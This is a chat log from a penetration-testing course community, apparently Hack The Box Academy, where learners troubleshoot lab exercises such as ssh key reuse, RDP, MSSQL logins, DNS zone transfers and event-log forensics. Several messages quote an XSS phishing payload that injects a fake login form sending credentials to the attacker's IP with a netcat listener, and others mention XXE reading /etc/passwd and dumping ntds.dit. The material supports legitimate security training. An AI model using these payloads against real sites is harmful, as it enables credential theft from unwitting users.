modules

[fathom pendant]

are you rdp to win01?

just use the Run command or Windows search

also idk if that's proper arg syntax for remote desktop

[bright quiver]

@fathom pendant no i have a shell open where i can use powerview or what not instead of that webshell one..i am trying to get into ms01 for q4

[fathom pendant]

why not try and set up a proxy then

[bright quiver]

i tried to upload chisel - but it gives me an error

i guess i can retry

[fathom pendant]

there's more than one way to proxy

[bright quiver]

i'll look into the others

[fathom pendant]

also how are you expecting to get a gui application through a shell in the first place

[bright quiver]

was going to try netsh, but no go...anyway looking for a way to get into ms01 still

[surreal nymph]

Hey hackers, I'm very excited to take baby steps in hacking with HTB academy! I would appreciate your help in getting started with priv escalation module. I have become user2 and now i wanna be root . So i go in /root/.ssh . I cat id_rsa , copy the contents..create a new file in my pwnbox and paste the contents of it . Then i do ssh root@IP -p PORT -i id_rsa After pressing enter the shell just hangs there ..I'm not able to see ssh output. What am I missing here ?

Note: I'm sshing while being user2

[prisma spruce]

The user you are sshing into as, in this case root, needs the public key inside of ~/.ssh/authorized_keys

Well, whatever is configured inside of /etc/ssh/sshd_config under the AuthorizedKeysFile section.

[surreal nymph]

@prisma spruce Hi, thank you for the response. I'll check it out ⭐

[lusty thicket]

don’t need a new id_rsa

[fathom pendant]

you also need to make sure that the id_rsa is chmod to 600

chmod 600 id_rsa

[prisma spruce]

I have never quite understood the point of that restriction.

[fathom pendant]

they need it to be able to ssh from the pwnbox to the target

[fathom pendant]

it's read/write restriction to just the owner of the file

[prisma spruce]

Yes, I know. I just never understood the point of the restriction.

Instead of letting you ssh in anyway, they force you to first change the permissions on the file before you can ssh in.

[lusty thicket]

he’s authenticated already as user2

[fathom pendant]

yes and the goal is root at the end, no?

read carefully where he copied the rsa key from

[prisma spruce]

If id_rsa is inside your .ssh directory, you won't need to include -i id_rsa

[lusty thicket]

[fathom pendant]

stop pushing him away from doing it this way; this is from the getting started module iirc; where they have you do it in a way that's easy for beginners

@surreal nymph are you trying to ssh from the pwnbox/attack vm? if you're doing it from the target system where you're user2 it will cause issues

you need to make sure the terminal shows your username; not the user2 username

[prisma spruce]

Does the module tell them how to add things to their keyring or their config file? If not telling them that they can but don't need to do that doesn't seem wrong.

[fathom pendant]

it does not

the module tells you about copying id_rsa

you're adding unneccessary complexity to someone that's starting out

while yes that is something they can do it defeats the purpose of learning if you're having them do extra unneeded steps

they have the root rsa key; no need to do anything extra

[prisma spruce]

I dunno. Not having to type out -i id_rsa seems like fewer steps to me.

[fathom pendant]

it's more steps to add it to the keyring my guy

whereas it's simpler to keep the idea of the rsa file as it's own standalone object to prevent confusion early on

[prisma spruce]

You don't need to add it to your keyring for that one.

[fathom pendant]

you're coming at it from a more experienced perspective

it also reinforces the idea that this file is what opens the door

[surreal nymph]

@fathom pendant I logged in via ssh root while I was in my pwnbox

Why was I not able to login to ssh root when I was user2?

[fathom pendant]

you can't ssh to a machine you're already using

is the short of it

[surreal nymph]

Oh yes !
Right !

I missed that

Thank you everyone for chipping in with your thoughts ⭐. You are guys are root!

[fathom pendant]

the long end is- networking constraints on the port; causing traffic conflicts where it's trying to talk to itself on a port that's already occupied

[prisma spruce]

?

[fathom pendant]

ssh protocol is dumb

:P

[prisma spruce]

I'm pretty sure you can ssh in to your own box multiple times

[misty current]

You can right?

[fathom pendant]

you're ssh to a machine and trying to ssh into itself is an issue

[prisma spruce]

That should not be a problem

It would still pick a random port to go outbound with.

[fathom pendant]

it's also just box constraints

[surreal nymph]

[fathom pendant]

:P

[fathom pendant]

i know you can ssh with multiple users to the same box

at the same time

[surreal nymph]

Had fun with this box

[fathom pendant]

it's just these labs are notorious for having some dumb quirks

[prisma spruce]

Yeah, then it's a box issue not a ssh issue.

[fathom pendant]

ssh constraints just happen to be one of them

also i'm referring to ssh callback to a box you're already on -

as in being a user on the box

and using ssh to try and switch user

[prisma spruce]

Yes, that should not be a problem.

[fathom pendant]

i've not seen it work ¯_(ツ)_/¯

could be that inbound connections are disabled from localhost

[misty current]

It does work as far as I've used ssh, you could disable inbound connections from localhost but that's not the default case.

[prisma spruce]

Yeah, it wouldn't make sense as a default because there should be no inbound/outbound conflicts. It's not really how ssh works.

[fathom pendant]

yeah i was making some dumb assumptions since i've never seen it work in the context of the labs

[prisma spruce]

Or any protocol, for that matter.

[fathom pendant]

like it being dumb to use rdp on your own windows machine

[prisma spruce]

https://paulbutler.org/2022/what-does-it-mean-to-listen-on-a-port/

[fathom pendant]

I don't need to read the article i just had to apply critical thinking

:)

[misty current]

Yeah, that would be dumb lol

[fathom pendant]

but i guess idk if it's not explicitly disallowed by default

like it doesn't make sense to ssh to yourself is what my initial thought was going off of

[prisma spruce]

#modules message well this isn't critical thinking is it

[surreal nymph]

Hackers, this is my attempt in getting my first cert in cybersecurity

CPPT

[misty current]

I've done that in scenario where your machine is connected to a VPN tunnel and you'd wanna do some internal routings and stuff, I don't exactly remember the problem I was fixing, but ssh came in godly.

[fathom pendant]

like i said: had to apply

don't need to be a dick about it

[prisma spruce]

https://www.youtube.com/watch?v=afLjeXrZuvc

[fathom pendant]

i was just going off of, at the moment, i hadn't put much thought into it considering how dumb the concept is

no need to keep trying to go at me over it

:P i had a dumb moment and was corrected

it happens lol

[misty current]

That's the only localhost connection usage I experienced, or else I would have thought that self connecting to ssh would be the same as self rdp lol

[fathom pendant]

yeah

like you can see where my thought process stopped

like "nah that's just dumb so surely it's just not allowed"

i gotta also remember "this is technology, dumb shit happens all the time"

[misty current]

[fathom pendant]

now i know what to try instead of exfil rsa keys next time ¯_(ツ)_/¯

or if I have write access, just put my key in there

[misty current]

I just love ssh xD

Yup

[fathom pendant]

idk why i always seem to manage to fuck up scp

it's like the most simple thing

scp source destination

yet SOMEHOW

i fuck it up

[misty current]

I had to mess it up a lot to get a hang of it too xD especially the -P instead of -p

[misty current]

I remember it as what's in left gets moved to what's in right

[prisma spruce]

I can never remember the syntax for scp unless I look it up, so I almost always use sftp.

cd/lcd, put/get is much easier to remember

[fathom pendant]

then i run into where it doesn't do anything even when i swear i did it right

this is why I just have an nginx server running to upload to

and download tools from

wget doesn't fail me (until it comes to windows, and i gotta remember -Outfile)

one thing taht at least helps me remember some commands is just that they sound like what they do if you say them out loud

[misty current]

True lol

[prisma spruce]

telnet? tell the network?

[surreal nymph]

Off to solve nibbles 😍

Btw , if i use metasploit always..will that make me a 'script kiddie '?

[fathom pendant]

yes

[surreal nymph]

I love the ease of use of msf though ❤️

[distant ibex]

KERBEROS ATTACKS skill assessment someone can give me hints

[fathom pendant]

metasploit is a crutch

there's often better (and more controlled) ways to do what you want than msf

[surreal nymph]

Ummmmmmm

[distant ibex]

What's the content of the file: \DC01\Secret Share\flag.txt? this one

[surreal nymph]

Thank you! @fathom pendant

You are awesome

[fathom pendant]

it's fine when starting out; but usually there's a PoC (proof of concept) code that you can read to understand how the msf exploit works

[zenith ginkgo]

Thanks @fathom pendant

[surreal nymph]

Yes , I saw a guy had ported that exploit in python in his repo ..

[fathom pendant]

that tends to be the case with a lot of the exploits

[surreal nymph]

Looked scary

[fathom pendant]

considering how old they are

not much scary about it if you know what they do ¯_(ツ)_/¯

[surreal nymph]

Yes ,true that

[fathom pendant]

the only way to look is to actively seek the knowledge

[surreal nymph]

I would love to write exploits in Ruby one day

The language just fits in my.mind

[fathom pendant]

a lot of the attacks and stuff in the pentester path are done without msfconsole

[surreal nymph]

⭐

[surreal nymph]

⚡

[fathom pendant]

does the exploit or whatever exist there? probably: but it's still good to know alternate ways

especially if you're in a position of working off a compromised machine that might not have tools installed

and running tools will get you caught by AV/EDR

[surreal nymph]

Wowww
Yes

And if it's a windows machine ..and if my exploit needs to run on the victim machine. Then Ruby or python scripts will be useless

[thorn urchin]

<@&861185840277487616>

🙄

[slender shoal]

I see.

one minute.

[novel matrix]

https://tenor.com/view/just-woah-gif-27301594

[willow prairie]

guy from fortnite

[eternal tusk]

Hi guys, I need your help with the module Windows Forensics.
I am unable to RDP into my target 10.129.228.172. Please help me; thanks!

[prisma spruce]

Why are you using ssh?

[eternal tusk]

Don't we use ssh to connect with Targets?

[prisma spruce]

Only if it tells you to.

It's telling you to use RDP.

[eternal tusk]

Do you know, what's the right command for RDP. This is my first time, I came across RDP connection requirement to connect with the target.

Usually, it's been SSH, so far.

[prisma spruce]

/xfreerdp /v:IP /u:User /p:Password

[eternal tusk]

Thanks sire!

[eternal tusk]

This was insight; I will keep this in my mind in future.

[prisma spruce]

lol yes it helps to read the instructions

[analog spoke]

Currently following the “Information Security Foundations” Path. I just finished the introduction to Network Traffic Analysis module. But haven’t done the Introductions to Command line nor the Intro to Bash Script, should I do that before preceding to Intro to Active Directory? 🤔

My goal is CPTS and Bug Bounty Path

[acoustic owl]

That depends on your knowledge. If you know the basics, you don't need these modules. But I'm sure that even if you have knowledge, you'll still learn a thing or two in these modules

[prisma spruce]

I don't recall seeing anything in the intro to active directory module that required knowledge from those two modules, and especially not introduction to bash scripting.

[errant veldt]

HTTPS & TLS Attacks: problems with running TLS-Breaker tool. After installing with JDK-22 and JDK-17 a lot of errors when running Bleichenbacher, Heartbleed etc. What version Java can I use without errors etc????

[analog spoke]

I see. My doubt is actually just the order. I intend to do it all, the problem is I don’t have cubes for the Windows command line Module nor the Bash module. I was intend to finish the “free” stuff before applying to the Silver Annual subscription

[prisma spruce]

It's best not to do them before you get the silver annual subscription.

[analog spoke]

Oh! Then I guess I’ll buy it now

[prisma spruce]

Are you a student?

[analog spoke]

No

[acoustic owl]

Yes, you can do it that way.
You won't need Bash for AD. The command line rather, but the required commands will certainly be shown.

[analog spoke]

Don’t have a student email, nor I am from America

[prisma spruce]

Oh. I did the math for it a few days ago. It isn't really worth it, but if you do get it you're better off not doing the tier 0 modules first because you get cubes back for them that you otherwise wouldn't, which amounts to ~$15.

#modules message

[analog spoke]

Does anybody know if the subscription is activated immediately upon applying to it?

[acoustic owl]

Yes, the subscription is active immediately

[analog spoke]

Thank you!

[analog spoke]

And thank you for the help 🙂

[elder jackal]

Hi guys can u pls help me? I got stuck at Broken Authentication Assessment, I found the admin/support users with the country code and found that the cookie is made of the username formatted to md5 and base64 but can’t put those together. Keep getting user admin.us can’t have requested role (or something)
Any help would be much appreciated

[cunning frigate]

hello i need help with Windows event logs Skill Assesment

[rustic sage]

I just completed the Footprinting module. IT was a challenging read due to some grammatical errors, most of the stuff kinda just flew past through me. I thought it was great although it could've used more commands in the IMAP/POP3 section for fetching emails. Managed to do the hard challenge all on my own without help, was fun little gag to hide that database almost missed it.

[hazy grotto]

@fathom pendant my apologies, i dm'd you without asking

[acoustic owl]

What exactly do you need help with?

[cunning frigate]

the 3rd question which is By examining the logs located in the "C:\Logs\PowershellExec" directory, determine the process that injected into the process that executed unmanaged PowerShell code. Enter the process name as your answer. Answer format: _.exe

[cunning frigate]

ihv filtered 7 i ctrl f every kind of think imaginable and still nothing btw i did use find even without filter by 7

[acoustic owl]

Take another look at how you can recognize a process injection with Powershell.

[cunning frigate]

I did try the create remote smth smth I found from google

[acoustic owl]

You don't need to google it. Look again in the module to see what exactly happens during a process injection with PowerShell. Then you will also know what to look for

[cunning frigate]

It's to do will event viewer right?

CLR.dll is what I look for

[acoustic owl]

Not only

[cunning frigate]

I'm not gonna type BCS it's not permitted but I found the exe that used to run it

I can't use process hacker here tho

[acoustic owl]

You don't need process hacker

[cunning frigate]

Those are the tools used at process injection

[acoustic owl]

You can see everything in the Event Viewer

[cunning frigate]

Event id 7?

[acoustic owl]

Look in the module

[cunning frigate]

That's what's written there

Can u send ss?

[acoustic owl]

There is no MacOS Machine

[sly dome]

buy one

[next bronze]

you can do the module without having access to macs, I did it just need some googling

[supple gorge]

That's some big balz. Lol. Gg

[supple gorge]

I think I someone mentioned it before and they used an ID not mentioned in the course for remote threads that also work.

But payloadbunny's advice stands, trying to analyze how they detected remote injection then trying to replicate it

[acoustic owl]

Yes, you can find the answers, but you can't do the exercise

[supple gorge]

I remember some years ago some weird way to get a macos VM, I never tried it but it was an annoying process. Have no clue how it's at now

[acoustic owl]

I don't know, since I have a Mac, I didn't really care

[supple gorge]

I have 4 "windows" 0 macs lol

Actually 2 windows and 2 proxmox/windows

[acoustic owl]

There is no machine in this module.

You must perform the exercises with your own Mac

[frosty jewel]

In Cross-Site Scripting, Phishing Section
I need to use this javascript to remove the input bar as well as add a phishing login form

document.write('<h3>Please login to continue</h3><form action=http://our_ip%3E/<input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();

Problem is browser is not letting me use semicolon ; in this so second query which is document.getElementById('urlform').remove(); fails to execute.
I tried Firefox and Chromium.
I need a way to run both queries together.

[cunning frigate]

I did that tho idk what else is left to do ihv been on this for hours now

[supple gorge]

What's the section name?

[next bronze]

I don't remember that section exactly but if you're sending the payload through a url you might want to url encode it

[cunning frigate]

Analyzing evil with sysmon

Oh don't tell me it's etw

[supple gorge]

I don't have my notes for this organized. Give me a few

[cunning frigate]

Sure

[acoustic owl]

You only need the Event Viewer.
Take another look at question two. The questions are related.

[faint rampart]

If youre directly injecting this into the field thats most probably why its failing
This is supposed to be inbetween script tags, thats how the semi colon gets interpreted as inline js.

[cunning frigate]

I know the answer for question 2 is what I use for 3 bit can't find any other exe that's mentioned

I wrote every exe I saw and all came wrong

[acoustic owl]

Take a look at the ||ProcessID||

[cunning frigate]

Noo f way I ignored that exe like 500 times now it's so camouflaged

[cunning frigate]

I knew that pid and filtered it but never wrote it

Thanks

[unique palm]

my rdp sessions give me black screens 80% of the time in the last few days. Anyone experiencing the same ?

[hallow kiln]

it's a screensaver, just press enter

[fathom pendant]

<@&861185840277487616>

[urban sage]

https://tenor.com/view/i-have-been-summoned-gif-19881033

[fathom pendant]

you were asleep last night when we needed you most 😢

[urban sage]

Not asleep. Just AFK without my phone in hand. I saw the aftermath though.

[fathom pendant]

no dumbass; read #rules

[winged hedge]

[fathom pendant]

they posted a token supposedely theirs a minute ago mto

it's as dumb as it sounds

[winged hedge]

Thank you for letting me know.

[fathom pendant]

claiming it was theirs

but yk

[winged hedge]

¯_(ツ)_/¯

[urban sage]

https://tenor.com/view/ban-hammer-gif-18149775

[olive ibex]

Just finished the HTB getting started knowledge check. GLad to get it done that one was very frustrating. it seemed that I kept having to regenerate a new IP as the system would either lock me out or in a few cases extremely slow

[rough acorn]

in the attacking common services module, SQL last exercise, I need to connnect to the DB using the cracked password, which I got. But I keep getting
ERROR(WIN-02\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
my command:
impacket-mssqlclient msqlsvc:[password]@10.129.228.184 -windows-auth

I searched through this channel's history and it seems to be what others also did and it worked for them. So I don't know ...

[fathom pendant]

try changing vpn region

[olive ibex]

If you all have any suggestions. I am running my kali on virtual box. It seems to be the only VM that I trust now. I have a VMware liscence but I prefere VB

[next bronze]

this should work, reset the machine and try again

[rough acorn]

already did

[rough acorn]

can't seem to be able to

[fathom pendant]

using the pwnbox?

[rough acorn]

no I am using the VPN

I could try the pwnbox

[fathom pendant]

then you should be able to change vpn region through the menu

then download a new connection; terminate the existing one

¯_(ツ)_/¯

[next bronze]

is that a vpn region issue?

[fathom pendant]

¯_(ツ)_/¯

maybe? sometimes things are buggy

also do terminate then restart the machine if you haven't tried that already

[royal garnet]

Hello i m doing the Security Session and i have some trouble to do the last one i did a xss in the profile julie and try to steal the cookie with this url http://minilab.htb.net/submit-solution?url= http://minilab.htb.net/profile?email=[e-mail] but nothing what i am doing wrong ?

[hallow kiln]

your user is misspelled if that's really your command

[fathom pendant]

is it supposed to be rodgers?

[hallow kiln]

it wasn't to swodax, haven't done that one

[fathom pendant]

oh lmao

i can't read

[hallow kiln]

none of us can, and so we hack

[fathom pendant]

hey that's my line

[hallow kiln]

I shamelessly stole it

[rough acorn]

Damn I think it was a misspelling ... I got with the pwnbox though

[hallow kiln]

like I said

you were missing an s

[rough acorn]

yeah I saw you message. Thanks for the help guys

[hallow kiln]

no problem

[fathom pendant]

mssql

the extra s is important

though it would be devious to make a box like that

[rough acorn]

The error message is weird if it really was a misspell

[hallow kiln]

not really, it's a generic message for wrong login details

[rough acorn]

I got a few different ones over the course of that chapter.

but eh, live and learn

[hallow kiln]

yeah, depends on what you're trying to do, what flags you're using, which part was wrong, good to note everything down

[wanton jasper]

I am working on RDP and SOCKS Tunneling with SocksOverRDP and I am right at the end to get the last flag but I keep getting disconnected for different reasons. I have restarted the box several times and I have selected modem option under experience but I keep getting this. I just need what is in this file and I cant click it before it times out:

[fathom pendant]

that's definitely odd

try giving the lab a few minutes after restarting it

[wanton jasper]

Its been like 10 min

[cunning frigate]

Lol wrong reply

[frosty jewel]

I tried URL encoding with just semicolon and then with whole query, it didn't work out. I'll keep trying. Thanks.

[frosty jewel]

I'm using <script> tags

[buoyant escarp]

Wow dynamic port forwarding is so awesome, thinking all day about it, first time using it since yesterday 😃

[hallow kiln]

wait till you find out about ligolo-ng

it'll blow your mind

unfortunately not in the module though

[hallow kiln]

checked my notes, definitely requires URL encoding

[dull thistle]

I'm on the Module: CROSS-SITE SCRIPTING (XSS) Section: Phishing

I'm not on the questions yet, just going through the content. I'm at Credential Stealing. So in the example it say:
"So, let us start a simple netcat server and see what kind of request we get when someone attempts to log in through the form. To do so, we can start listening on port 80 in our Pwnbox, as follows:"

sudo nc -lvnp 80

But on the Pwnbox port 80 is obviously already in use.
So I changed it to port 81.

But that's not going to work for the content of the page right? => "Now, let's attempt to login with the credentials test:test, and check the netcat output we get (don't forget to replace OUR_IP in the XSS payload with your actual IP):"

I can enter the payload from above, working fine.
document.write('<h3>Please login to continue</h3><form action=http://IPHERE><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form> <!--');document.getElementById('urlform').remove();

But upon entering test:test it's not going to do much right?
So how can I get it to capture the request (without using further content below of the module) , or will that just never work like the example in the module itself?

Because then the module's description should be changed since the example would never work?

[frosty jewel]

Can I DM to figure it out with you?

[hallow kiln]

sure

[fathom pendant]

since you're changing off default just add :PORT after IPHERE

so http://IPHERE:PORT

[dull thistle]

I think I tried that but nothing came up on netcat. Lemme try again

But it's kind of weird that the content suggest to use port 80 when it's already in use

[fathom pendant]

because in most instances people aren't using pwnbox

they're using their own vm and likely not having an http server or something running on 80

you can try having it listen on 8080

[dull thistle]

yea but it specificly says PWNBOX

"can start listening on port 80 in our Pwnbox, as follows:"

[fathom pendant]

huh; odd

suggest the fix in erratum

if you verify your main labs account with the discord you can post screenshots btw

the instructions are in #welcome

[autumn pilot]

You can always adjust the ports

As long as you understand the concepts, nothing stops you from experimenting

[dull thistle]

will do! thx!

[dull thistle]

yea true but it was new for me 😛

[wanton jasper]

I have restarted the box. I have logged in via rdp and accepted the cert. I keep getting this now:

[fathom pendant]

80 was used as an example for convenience sake tbh

so the example doesn't need to specify port

[dull thistle]

so I tried adding the :81 again but nothing pops up on netcat 😭
I'll continue to debug it

[autumn pilot]

You need to make it to pop up

[dull thistle]

I'm not on the actual questions yet, I'm just going through the content of the page, and there is no pop up talk 😮

[fathom pendant]

what he's saying is that you need to make it work

not just expect it to magically do something :P

[wooden island]

Anybody there to contact me regarding „Attacking Common Applications / Exploiting Web Vulns in Thick Client Applications“?

[dull thistle]

I'm still confused about what he meant and if he understood me xD
I'm just following the tutorial/guides first? of just listening with netcat

[hallow kiln]

Why don't you just ask your question, what are you stuck on and what have you tried, then someone can help

[fathom pendant]

just follow the module

make the slight adjustments based on the restriction that 80 is occupied

[dull thistle]

Aight 😛

[autumn pilot]

Read the section first, then experiment

You will understand the flow

[wooden island]

I am stuck while downloading the fatty-server.jar file. Pretty sure I made mistakes while editing the open function. But tbh I feel like this module completely overkills the smooth pentester path. Nothing taught in this path will get you there on your own. And I am pretty sure not many guys will do further than just copy and paste this one. I can’t take something valuable from this without more background or experience in this topic. But maybe I am alone with my opinion…

[hallow kiln]

no, that's an extremely popular opinion

[fathom pendant]

it's not on the exam fwiw that's why doing the writeup most would consider fine

the thick clients was an EXTREMELY late addition to the module

[hallow kiln]

these sections have no place in the path, but the writeup or ippsec video for Fatty is how most people get through it

[fathom pendant]

like some people were 99% of the way through the course or already 100% before adding it

[hallow kiln]

it's literally based around an insane box for a path that's medium at most

[wooden island]

Yeah I understand what to do next so that’s fine for me. But I don’t get it done right now. I wanna do the CPTS after Christmas and am a bit stressed bc of time constraints. Then you hit something like this one … 😄

[fathom pendant]

like i said: this isn't gonna be on the exam

[tall laurel]

Morning lads,
I am doing footprinitng lab-hard but having some doubts whether I am on the right path. I enumerated the services and am trying some dictionary attacks for pop3 and imap using hydra but it is taking forever. Is this the correct vector? I'd appreciate a small nudge.

I haven't scanned any udp ports. I am on it. Thanks!

? I thought snmp use udp ports

[fathom pendant]

for the hint of where to start: read the mission brief carefully

that'll tell you what to look for

[tall laurel]

do you mean the very first test on the page explaining the scenario?

[fathom pendant]

yes

usually reading the scenario should give you an idea of what you're looking for

[torpid zinc]

hello, in the pivoting module it states "Our Meterpreter session should list that our incoming connection is from a local host itself (127.0.0.1) since we are receiving the connection over the local SSH socket, which created an outbound connection to the Ubuntu server. Issuing the netstat command can show us that the incoming connection is from the SSH service.". Could someone explain me why the connection is received from the localhost? It seems hard for me understand why this is happening. I assume this is something to do with how ssh socket works, but i dont really have a clue about it

[next bronze]

ssh receives the connection, then pass the connection to meterpreter on your localhost

[flat copper]

Hi. I'm losing my mind. I am going to try and ask this with as little spoilers as possible. On the Skill Assesment, task 2, for Intro to Assembly, should I be on the lookout for a spelling error by any chance lol

IF someone would like to DM me to discuss further or possibly give me a little nudge that would be excellent. Im runnin out of ideas lol

[tranquil axle]

No, the file is named like that on purpose so it fits within 8byte with 0-termination

[tranquil axle]

What are you struggling with? Can’t get the payload small enough?

[flat copper]

See I thought the file was on purpose, and I feel like my code is small enough but I am still getting hit with Failed to run Shellcode everytime

I dont want to post any spoilers, would it be ok if I sent you a dm?

[tranquil axle]

Sure

[earnest plover]

Hi guys, can you help me with something?, I just finished AD Enumeration & Attacks - Skills Assessment Part 1 but I want to clarify something. I am inside a windows host I can scan a network with a loop in powershell, let's say I find 4 alive IPs, is there a way to know the name of the computer of each IP?, for example, IP 1 is DC01, IP 2 is MS01, etc.

[thorn urchin]

can make a smb connection to get the host name

basically what crackmapexec/netexec do when you do a smb scan

[next bronze]

nslookup, nmap, smb like above (you can use cme)

[languid wharf]

Hey, I'm stuck in the attacking common services module in the lab of attcking databases. I found the password of mssqlsvc but I can't connect with it to the db or switch to its user or execute command with its permissions. Any hints?

[thorn urchin]

If youre on a victim I think you can try checking the routes/arp/dns cache too but idr specific commands for those

[next bronze]

Attacking SQL Databases yeah? did you try connecting with mssqlclient?

[earnest plover]

Ok, ty. I will take a look at that.

[languid wharf]

Yeah, tried with -windows-auth but I get an error of untrusted domain, and without it the password just fails for some reason

[fathom pendant]

make sure you're using both 's'

mssqlsvc not msqlsvc

[languid wharf]

I run: ||python3 mssqlclient.py mssqlsvc:$PASS@$IP||

[next bronze]

use -windows-auth

and you should remove the password since that's the answer to the previous question

[fathom pendant]

^

[languid wharf]

Changed it and thanks! It errored before about untrusted domain and now it doesn't for some reason

[fathom pendant]

you probably misspelled the user

ngl it's the most common and easy thing to do with this

like one of the modules you have htbdbuser or something along those lines LMAO

[rustic sage]

https://www.youtube.com/watch?v=QtmXHu6GWck demonic c2 still insane l4-l7

[languid wharf]

probably lol

[fathom pendant]

what module does this relate to

[languid wharf]

One more question, ||I had to crack the mssqlsvc hash using the password list and rule from the password attacks module, and the actual password didn't appear in the Attacking Common Services module resources->pws.list. Does the password list from the password attack module relevant for all the other module?||

[thorn urchin]

its so common and easy to make that even though Ive seen it dozens of times I still occasionally miss it at first glance when someone posts their term output wondering whats not working

[fathom pendant]

i believe it's in rockyou

[languid wharf]

It is, but why do they provide pws.list for the module and then don't include the necessary passwords in it?

[fathom pendant]

gotta think outside the box sometimes

also i think the example shows using rockyou for cracking

[languid wharf]

They don't show a cracking example in this section, but in the smb one they do use rockyou

[thorn urchin]

order of ops for the password attack module in list usage:

Discovered lists within the lab -> mut pass list -> reg pass list -> rockyou

[fathom pendant]

this is from a separate module

from pw attacks

[thorn urchin]

ah then 99% of the time just rockyou

[fathom pendant]

^

[languid wharf]

Okay thanks!!

[thorn urchin]

rockyou is just the general ctf agreed upon list that if you require bruting in your challenge the answer needs to be in rockyou

[fathom pendant]

they really don't stray too far from rockyou (because that would defeat the actual purpose of what it's teaching you)

[still spear]

can some give me hint what for a remote tool i need for question 3 in skill assesment 2 active directory tryd litlerly all i know

[hallow kiln]

What was question 3?

[inner sand]

so i recently was planning to get into developing windows GUI apps .... do i need to be a software engineer to develop gui modern looking apps or i can use c++ to do ... i did learned some good fundementals in c++ and i wanna get into developing the gui apps ... anybody can give me resources for that i could develop my skills on plz and thank you

i need it for my capstone project ... i am planning to make a C2 framework and i just have 6 mounths

[still spear]

Sunniten the Flag on ms01 Form C:\flag.txt but any Tool i Know dont work

[next bronze]

giving the module name would be useful

[fathom pendant]

use visual studio tbh

it's a decent IDE for C/C++ and allows you to better visualize it

[rustic sage]

bing chat is pretty damn good!

[hallow kiln]

AD skills assessment 2

[still spear]

Jap

[next bronze]

oh right I'm blind

[fathom pendant]

i mean it looks like it pulled it straight from htb forum

[thorn urchin]

thats also literally what the module tells you to do

[next bronze]

the hint should help there, try different protocols to access ms01

[thorn urchin]

youd have gotten the same information from just doing the module

[rustic sage]

i'm still impressed by bing chat this is so cool

[still spear]

If did not , I don’t write here lost over 2 hours as au said I tried all I know

[thorn urchin]

https://tenor.com/view/the-simpsons-why-didnt-i-think-of-that-hank-scorpio-homer-simpson-you-only-move-twice-gif-20385109

[fathom pendant]

it's not impressive that it's telling you just the basics of a file upload attack

[rustic sage]

like this saves so much time and it's amazing to say the least... it's good for people like me who have severe adhd 😄

[hallow kiln]

What have you tried?

[next bronze]

do you have notes on it? cause I don't remember lol

[inner sand]

someone told me that I can do some things with C++ like have a backend in C++ and a web frontend in electron and make them talk to each other in any of the IPC methods, and package them in a single exe.
also just putting this out there you can do the whole electron stuff while still keeping your frontend cpp, if you wanna do the whole stack in C++ since wasm exists now

[fathom pendant]

i mean the module also gives you example payloads

i really don't see what the huge boost is

[thorn urchin]

this is literally just what the module tells you to do though???

[still spear]

evil-winrm, psexec, wmiexec, cme

[hallow kiln]

I have the whole chain in my notes yeah, just haven't added the questions in order to immediately be able to say what the way is based on the question itdelf

[next bronze]

ah okay you can take over then 🙏

[hallow kiln]

I mean that's just randomly throwing tools at it, have you tried every protocol with cme and do you have valid credentials

[still spear]

Ahhh that you mean no only smb

Nice hint tanks

That helped

[hallow kiln]

No problem

[hallow kiln]

Looks like you were correct even without notes

[rough acorn]

Did anyone experience any issue installing crackmapexec on Parrot? There seems to be a few python packages missing from the repo

I also tried pip install but no luck

[fathom pendant]

instead install netexec

Crackmap is no longer being maintained, and a lot of the devs moved to netexec

it has the same features

[rough acorn]

is it on the package manager? I can't seem to find it.

[next bronze]

https://www.netexec.wiki/getting-started/installation/installation-on-unix

[rough acorn]

thanks!

[brisk valley]

hey. this doesnt have to do anything with the modules but i need some help

i wanna install parrot os in my bios like i have to chose if i want to run windows or parrot os. does anyone have any suggetions on what to do?

[fathom pendant]

Follow the instructions on the parrot website

[long basin]

Has anyone gone through ADVANCED XSS AND CSRF EXPLOITATION, More specifically the section Bypassing CSRF Tokens via CORS Misconfigurations? Having trouble with question at the end, for some reason everything I try to test out my payload I get invalid CSRF token I've made sure I am extracting it from the right HTML element as well. Was wondering if anyone can provide any pointers?

EDIT: figured this out

[fathom pendant]

https://parrotsec.org/docs/installation/dualboot-with-windows

[manic onyx]

I am doing the Hard Firewall and IDS/IPS Bypass Lab for the nmap module and can't seem to find the flag. I've found the service they moved and scanned it while looking at packets with packet-trace but I'm not seeing anything. I've also tried netcat and telnet for banners. Am I looking in the right place?

Nevermind, lol

[rough acorn]

I am doing the common service attack DNS chapter and for the exercise you are asked to find all sub domains and the flag should be amonsgt them so I run a brute force attack against the server with subbrute and I only 3. None of them contain anything interesting. I ran this for like 30 minutes. Am I doing something wrong? I used the small wordlist included with it.

[fathom pendant]

your resolver.txt should have the target ip in it: after you find the subdomains from the tool you should dig txt [subdomain].inlanefreight.htb @ip

or dig axfr [subdomain].inlanefreight.htb @ip

[rough acorn]

man I don't get DNS ... if I do an A, TXT or whatever I get nothing and something SOA. I just did a axfr and it's showing me txt and a entry all of a sudden

thanks

[fathom pendant]

yeah i think you have to include like type=txt in dig

[rough acorn]

in my experience DNS queries are always a hit and miss. Tools don't all react the same too it seems

[fathom pendant]

yeah

dns is dumb

[hallow kiln]

It's always dns

[cold pendant]

Can someone help me with ```
Try to exploit the upload form to read the flag found at the root directory "/".

I am trying with something like that but without upload folder its useless

[leaden pond]

I'm working on the documentation and reporting practice lab.

I want to get the flag on the Administrator desktop of DC01

I have found and cracked a bunch of password hashes. Several of those credentials allow me to log on to DC01, but I don't have permission to read files on the Administrator Desktop.

I've tried using the Python version of Bloodhound to figure out which users have admin access over DC01. I've also dumped ntds.dit using CME and gotten a ton of hashes. I haven't found any that are crackable.

In the given notes, I see a hash that was retrieved by using Responder, but hashcat can't crack it. I cracked three other hashes I got using Responder, but none of those accounts allow me to read files on the Administrator desktop

[rough acorn]

I don't think anyone can quite tell what you are trying to do. You seem to be posting and image which contains some tags about /etc/passwd?

[cold pendant]

Yes i am trying to see if xxe vuln is working

[fathom pendant]

he's trying to get an xxe payload to get the /etc/passwd file from the host system that's running the web server

the image tag is merely to bypass upload filter restrictions

[cold pendant]

But its going inside img tag and not working

And i am stuck on this

[rough acorn]

is your XXE supposed to return anything?

[cold pendant]

Yes

[thorn urchin]

you dont need to crack ntds.dit hashes

